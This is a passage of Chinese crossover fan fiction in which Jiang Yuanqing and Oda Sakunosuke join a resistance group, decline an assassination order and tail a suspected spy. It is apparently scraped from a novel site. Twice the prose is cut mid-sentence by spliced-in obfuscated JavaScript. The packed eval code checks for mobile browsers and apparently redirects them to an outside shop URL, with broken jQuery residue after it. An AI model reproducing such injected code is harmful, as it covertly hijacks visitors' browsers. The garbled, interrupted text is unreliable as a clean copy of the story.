她又顺便拿手在他背后非常没有道德地蹭了两下,试图蹭掉手上的灰。 “好久不见,唔,可能没有多久,但总之,能见到你很高兴。” 织田作之助轻轻环抱了回去,他知道江沅清在做非常没有大人魅力的事情,但他只是无奈看了她一眼。 这一眼让他发现自己的身高还是有些不够,只好悄悄垫着脚试图和她的高度持平。 他轻声道:“看到江沅清没事,我也很高兴。” 可以啊,小织同学!会坦白出自己的关心了!也就是说小织同学他是长嘴的!太好了她再也不用担心孩子成为那个不张嘴的苦情剧男主之一了! 等会儿?这么想来的话,织田作之助原本的结局是什么来着? 想到朋友给她预告的在文豪O犬中,那属于织田作之助的命运,江沅清忽然心脏一紧。 可恶,不可以啊!她辛辛苦苦养起来的崽子,看着他从一只阴暗的爬行动物变成了一朵向阳的花,她凭什么要拱手让给死神啊! 等着吧,时间还有很多,她会一点点改变这个孩子,带着他脱离原本命运轨迹的! 不知道她的眼神为什么坚毅到仿佛要去开着飞机炸五角大楼,织田作之助松开手,偏头看着她,神色里面隐隐约约勾勒出一个大大的问号。 江沅清侧头假装没看到他脸上的问号,故意岔开话题道:“那什么,现在是什么情况?” 织田作之助言简意赅道:“我醒来之后遇到了临篇,他正在被追,那些人以为他是我的同伴,我们就打了起来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049653|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她就说呢,以小织同学一戳一动的温吞性子,怎么就跟自不量力似的和这群开了低配炮姐外挂的家伙打得叮铃咣啷的,原来他也是个莫名其妙被踹了的倒霉蛋。 江沅清沉痛地拍了拍他的肩膀道:“我也差不多,只是我在这里问些东西的时候差点被他们扫射斜了的激光炮扫中,哦对了,这里还有俩孩子呢,你跟我来!” 旁边的少年默不作声地盯着他们的举动看了一会儿,直到现在才恍然大悟道:“原来你们是那种关系啊!” ……? 哪种关系?等等?你那一脸奇怪的笑是什么东西快给我收回去! 自然而然就拉着织田作之助的手腕准备把他带过去的江沅清忽然产生了一种不好的预感,她张口就问道:“什么关系?” 握着织田作之助手腕的手忽然感觉到了他颤抖了一下,江沅清觉得不太对,下意识向他看了过去,却发现织田作之助低下了头。 她看不清他的神情,也自然没能看见少年骤缩的瞳孔与低垂的眼帘。 “当然是……” 一直很礼貌的织田作之助出声打断了临篇的话,不紧不慢道:“是关系很好的同伴。” 江沅清高高给他比了个大拇指,兴高采烈道:“对!” 临篇一言难尽地看了织田作之助一眼,又看了江沅清一眼。 他试图用这种恨铁不成钢的视线挑起织田作之助的野性,却被他淡定无视了。 ……行。 “看起来你们真的是关系特别好的同伴。” 不知道为什么,江沅清觉得临篇说这句话的时候看起来有点忍辱负重。 她决定给这个世界的人再多打一个“奇奇怪怪”的标签。 “自我介绍一下,我是临篇,是反抗军的成员,我看你们也不像是上层区的人,要不要考虑加入我们反抗军?” 来到新世界的第一天,靠着织田作之助的超绝身手喜提反抗军成员的橄榄枝一枚。 江沅清神情复杂地看了织田作之助一眼,觉得他的体质也可以和星的主角特质碰一碰了。 一般情况下,什么反抗军显然是推动剧情的重要因素吧!就这样被他小子碰上了! 临篇问的显然是织田作之助,江沅清只是那个附带的小礼物,但让他没想到的是,那个在战斗中冷酷无情的少年竟然转头看向了旁边的人:“我听江沅清的。” 临篇瞳孔地震。 ……所以说果然是妻管严吧!谈恋爱什么的好可怕啊!连这点自由都没有吗? 一点也没有猜到临篇在想什么,莫名被扣上帽子的江沅清几番权衡了利弊之后,一锤定音道:“去,不过我们也有一点要求,带我们了解一下你们这里的情况,再帮忙照顾一下这两个孩子。” 江沅清看着临篇,临篇看着织田作之助,织田作之助看着江沅清,三人形成了一个视线包围圈。 “好,你们跟我来。” 片刻后,安置好那俩孩子的江沅清和织田作之助和临篇一起站在了一个破破烂烂的招牌前,上面写着“来客欢喜”。 说实话,要不是临篇特意带她找,江沅清绝对以为这个标牌是哪个没道德的家伙到处乱丢垃圾。 她宁愿相信这里人人没有道德都不愿意相信这坨玩意儿竟然是一家酒吧的招牌! 临篇推开因为常年风吹日晒雨淋而风化严重的木门,一道向地下倾斜的楼梯就显现在了他们眼前。 “走吧,”临篇颇有怀念意味地叹了口气,率先走下了楼梯,一边走着一边介绍道,“这家酒吧原本叫飞鸟,可惜后来老板出事了,现在是我们的基地之一,同时也是河滩区最大的情报交流基地之一。” “正常来说白天是不接待客人的,可是谁叫我跟老板关系好呢!” 临篇眼尖地对着吧台内正在有一搭没一搭擦拭着玻璃杯的中年男人招起了手:“崔哥!我们来了!” 崔别枝笑了一声,眼角攀着的细碎皱纹舒展而开,他戴上了随手放在边上的金丝眼镜,周身竟然多了几分斯文的读书气,怎么看怎么都是一个肩不能扛手不能提的角色。 “我收到了消息,欢迎你们的加入,不过要想正式加入我们,需要完成一个考核任务,不知两位是否愿意?” 59.跟踪任务 人话就是做个任务看看实力,只是这家酒吧的老板常年混迹于三教九流之中,养成了一身说话的本事,落入他们耳朵里竟然不是很难听。 江沅清不急着接他的话,而是很自来熟地随意挑了个顺眼的椅子一坐,顺便把织田作之助也拉到了她的边上,称赞了一句:“酒的种类很齐全嘛,看起来老板是很有品味的人。” 在谈判中,主导权是一个很重要的东西,如果跟着对方的话走,就很容易被对面拿走珍贵的话语权,她不会允许这种事情发生的。 “一般,”崔别枝顺着她的视线看过去,自谦了一下,而后直奔主题道,“江小姐考虑得如何了?” 这球有点直了,砸得江沅清一愣。 不是,哥们,我们现在不是在你拉我扯吗?这种情况下你不是该谦虚一下然后跟我聊一下别的东西吗?还是说你们真的很缺人? 江沅清的脑子里划过了一丝转瞬即逝的灵感。 总感觉哪里怪怪的。 可恶,一定是她的脑子又去睡觉了还没醒!她竟然没想出来哪里不对! 但是她对这个世界实在是知之甚少,所以很难想到这到底是为什么,只好笑了一声道:“不和我们介绍一下反抗军的理念吗?” 崔别枝瞥了临篇一眼,得到了对方一个“ok”的动作,江沅清挑了挑眉,假装没看到他们的小动作,专注听着。 “那是自然,每一位反抗军的同胞们都是我们的兄弟姐妹,你们即将加入我们,自然也是我们的同胞。” 崔别枝沉声道:“在这个知识、钱财和权利都被垄断的时代,像我们这种在贫民窟出生的人,活到自然老死都是一种奢望,更何况是接触到珍贵的明天?” 临篇接话道:“但我们拥有反抗命运不公的权利。” 崔别枝振臂一呼道:“是的,当我们聚集起来,一定能让那些傲慢的天城人付出代价!” “我们将用血肉之躯,为自己博得未来!” 等下!这剧情!好经典的赛博朋克剧情! 欸你大爷的小O崽子,你又给我干哪来了!这还在R-28星球吗! 这段宣言确实有点热血沸腾的因素在身上的,如果不是江沅清觉得哪里不太对劲,她也就中二之魂熊熊燃烧跟着喊起来了。 但现在,她只是淡定看了毫无情绪的织田作之助一眼,后者在脸上回以一个不明白情况的问号。 可恶,难道他连中二期都没有吗!看这情绪稳定的,到底谁才是年长的那个啊! 不过听这段话里面透露的,显然反抗军和所谓的“天城人”是对立面。 严谨一点来说,反抗军绝大多数出生于贫民窟,人权无法得到保障,而天城人的生活大部分应该是相当优渥。 江沅清努力调动了一下身上的积极细胞,看上去有些热血道:“我知道了,为了博得一个未来,我愿意加入反抗军,所以我们的任务是什么?” 崔别枝取出在吧台抽屉中早就准备好的照片推到了江沅清的面前,示意她记住这张脸。 照片中是一个佝偻着身子的光头男人,约莫五十来岁,脸颊处爬了一道长长的疤,宛若寻了个心仪地方安家落户的蜈蚣,为他带来了几分戾气。 但他的眼神却并不凶恶。 江沅清挑了挑眉,仔细看完了之后推给织田作之助。 崔别枝开口就是一道惊雷:“他是反抗军的叛徒,我要你们杀了他,把他的尸……” 不等织田作之助开口,江沅清先打断了他的话:“抱歉,我们不杀人。” 开玩笑,不鲨人可是小织同学的原则啊!她只是来打探个情报的,怎么会把人都赔出去啊! 崔别枝眉头一皱,充满探究意味地在他们两人身上扫视了一圈,最后落在了临篇的身上,他沉声道:“怎么回事?” 没想到临篇比他还惊讶,他就差扑过去抓着织田作之助的手问他你这个人到底是怎么回事了。 但是估计是思考了一下他的武力,临篇最后默默憋住了话,哽了半天从嗓子眼里面挤出来一个疑问句:“你这么厉害,你不鲨人吗?” 织田作之助沉默地摇了摇头,想了想,诚恳道:“抱歉。” “容我提醒一下,”江沅清淡定伸手挡住一脸快要崩溃的临篇,“厉害不等于就要鲨人,这是他的自由,我想你还没有资格干涉他的自由。” 被她挡着的少年扒拉着她的手臂语无伦次道:“但是,但是……” 他“但是”了一会儿,忽然就想起来刚才的事情——织田作之助他只是打晕那些人,而非是一击毙命。 ……怎么会有这种人啊! “够了,临篇,不要强迫我们未来的同胞们,”崔别枝深深吸了口气,露出了一个颇为善意的微笑道,“你说得对,我们还没有干涉他自由的权力,所以这样吧。” 他想了想,提出了一个解决办法:“这个人疑似是驻城军派来的卧底,这是他最近的行踪,你们不鲨他可以,但是我要你们跟踪他、掌握他的行踪,如何?” 对面这个行为过于老狐狸,江沅清越发感觉这个任务有许多猫腻了,但她没有拒绝,而是起身向着崔别枝伸出了手道:“乐意之至,等着我们的好消息吧。” 说罢,她小心用胳膊肘戳了戳边上的少年,示意他也起来表个态。 织田作思索片刻,学着江沅清的样子伸出手,复读道:“乐意之至,等着我们的好消息。” 等下,小织同学,你怎么也成了复读机啊!你难道是被星传染了吗?还是说你已经自学成才,掌握了人类的本质! 算了,多一个复读机是好事,反正有星在,整辆列车迟早会变成复读机批发基地的。 两人领了任务离开,江沅清顺便蹭了干净的水流把自己清理了一遍。 她和织田作之助在一个贩卖自制果汁的店铺外面找了个椅子坐下,这是那个驻城军卧底最近每天下午三点钟都会出现的地方,而现在的时间是下午的两点半。 面对着和蔼可亲为他们递上菜单的服务员,她满面笑容地接过来,忽然想到了一个严重的问题。 她低声切换日语说道:“小织同学,你有带钱吗?” 有种在外国偷偷切他们听不懂的语言小声蛐蛐别人的错觉,但这也不能怪她吧! 人家果汁店的服务员还在这盯着呢,要是直接说出来,万一对面甩过来一个大比兜子说穷比滚开怎么办? 是的,当需要买东西的时候,她才想起来,她没有一分这里的货币! 她现在是个穷光蛋哎。 织田作之助眨眨眼睛,想了想,他也诚实地摇摇头。 很好,他现在也是个穷光蛋哎! 可恶,砂金不是说在这个时代等着他们的吗?人呢!富哥救命!富哥V一点! 江沅清沉默地凝视着价格好像不是很便宜的果汁,看了一下墙上钟表挂着的时间,脚尖点着比起外面充满污泥的小路显然干净了许多的地面,思考着如何拖延时间。 谁知道任务第一步竟然卡在了没有钱上!为什么没有初始资金啊! 她的背包里不是没有金银制品,然而这些东西是否会为这个地方带来什么变数,江沅清不得而知,也就不愿意拿出来。 江沅清决定玩点花的,她笑眯眯地问道:“这个如何?” 织田作之助点头道:“好。” “哎,我觉得不好,着看着花花绿绿的能好喝吗?不行不行,我们家宝宝可不能喝这个!” 织田作之助又点头道:“哦。” “宝宝你觉得这个呢……算了算了,好多糖啊,我们家宝宝喝着会觉得甜吧?” 织田作之助捧场道:“嗯。” 在她三番五次的操作之下,店员脸上露出了分明的看神金的表情,在他终于没能按耐住自己的脏话之前,江沅清也拖延够了时间,把菜单递给织田作之助道:“宝宝还是你点吧,我去和那边的人说两句话。” “好。” 店员深吸了一口气,好不容易咽下了口中的脏话,却眼尖地瞥见少年耳后未消散的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050465|122639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕,不由得大为震惊地看了过去,瞳孔在疯狂颤动着。 不是,哥们,你在害羞什么! 感觉自己好像成了他们这俩神经play中的一环,店员接了菜单就匆匆离去了,没有再管这里一点。 织田作之助轻轻用手贴了贴耳朵,发现那里的温度比他指尖的温度要高一点。 ……幸好江沅清没有发现。 他有些庆幸而落寞地想着。 江沅清说的那边的人俨然就是他们的任务目标,她凑过去光速挂了一个灿烂笑容道:“朋友,我可以找你借一点钱吗?我今天和我新谈的小男朋友出来玩却忘记带钱了,朋友帮个忙吧?” 男人的回答也是言简意赅:“滚。” 就这么滚了可不是江沅清的作风,她拉开男人对面的椅子坐下,死缠烂打道:“朋友,你肯定也是吃过甜蜜爱情的人吧?那你一定知道在爱人面前丢脸是多糟糕的事情啊,借一点吧朋友,我还不想因为忘记带钱而在恋人面前丢脸呢!” 男人还想说些什么,但看着江沅清这副无赖的架势,最后不耐烦地丢了点钱在她前面,又是冷冷的一声:“拿着老子的施舍有多远滚多远!” 江沅清笑眯眯道:“好嘞!” 她笃定这个男人会给她钱,因为他最近每天都会出现在这里,极大概率是他要等什么人,和那个人交接情报,这种情况下不能出差错。 果然,没有多久,一个打扮精致的漂亮女人就在他的对面拉开椅子坐下了,她和男人聊了些什么,忽然朝着江沅清看了过来。 江沅清笑着朝他们晃了晃手里的钱袋子,做口型道:“谢谢啦!” 女人皱了皱眉,随后起身离开。 没过多久,男人也跟着走了。 “跟上吧,小织同学,我有预感,这个任务是一个坑,而我们是被推入坑里的倒霉蛋,”江沅清的脸上依旧是笑意吟吟,吐出来的话却令人毛骨悚然,“他们很可能知道有人要跟踪他们了。” 织田作之助没有异议,点头道:“好。” 江沅清伸出指头戳戳他的脸,被这柔软的触感震惊到了,又连着戳了几下,无理取闹道:“小织同学,不要老是说好啊!” 织田作之助思索了片刻,认真道:“嗯。” 江沅清哽了片刻,拍拍他的肩膀叹气道:“改得很好,下次不要再改了。” “好。” “……不好。” 两人跟着男人绕了九曲十八弯的小巷,最后在一个空旷的巨大废弃体育馆里面停下了脚步。 不是因为跟踪对象消失了,而是他直接不演了摊牌了。 男人转过身看着他们,神色阴沉道:“你们跟着我到底有什么目的?” 江沅清摊开手,为难道:“不瞒你说,我们其实在约会,这只是一个巧合,你信吗?” 男人冷笑道:“呵哈哈,反抗军的走狗,我信你们什么,你们想必是来鲨了我的吧!” “哇你这个人,你不是早知道我们是谁要干什么了吗,”江沅清对着前面的男人指指点点,皱眉谴责他,“怎么还要明知故问呢?” 虽然知道没有什么用,但就是主打一个钝角,气死人不偿命。 “呵,不过拖延时间的小把戏,今天你们插翅难逃,新兵们!把他们给我拿下!” 响应他的是一道活泼灿烂的女声:“放心吧!交给我们就好了!” 紧接着有一道听起来很可靠的女声复读道:“放心吧,交给我们就好了。” 等,等下?为什么觉得这个声音、这个架势、这个情况…… 总感觉有点熟悉啊! “鲨鲨鲨!我要鲨爆……啊?” 三月七推了推星,不满道:“你别挡着我啊!万一误伤了别人怎么……” 她顺着星僵硬的视线看了过去,也跟着发出了一声:“啊?” 抱着长枪缓缓出场的丹恒没跟着她们两个闹,而是发出了一声非常酷的:“嗯……嗯?” 大家面面相觑了起来。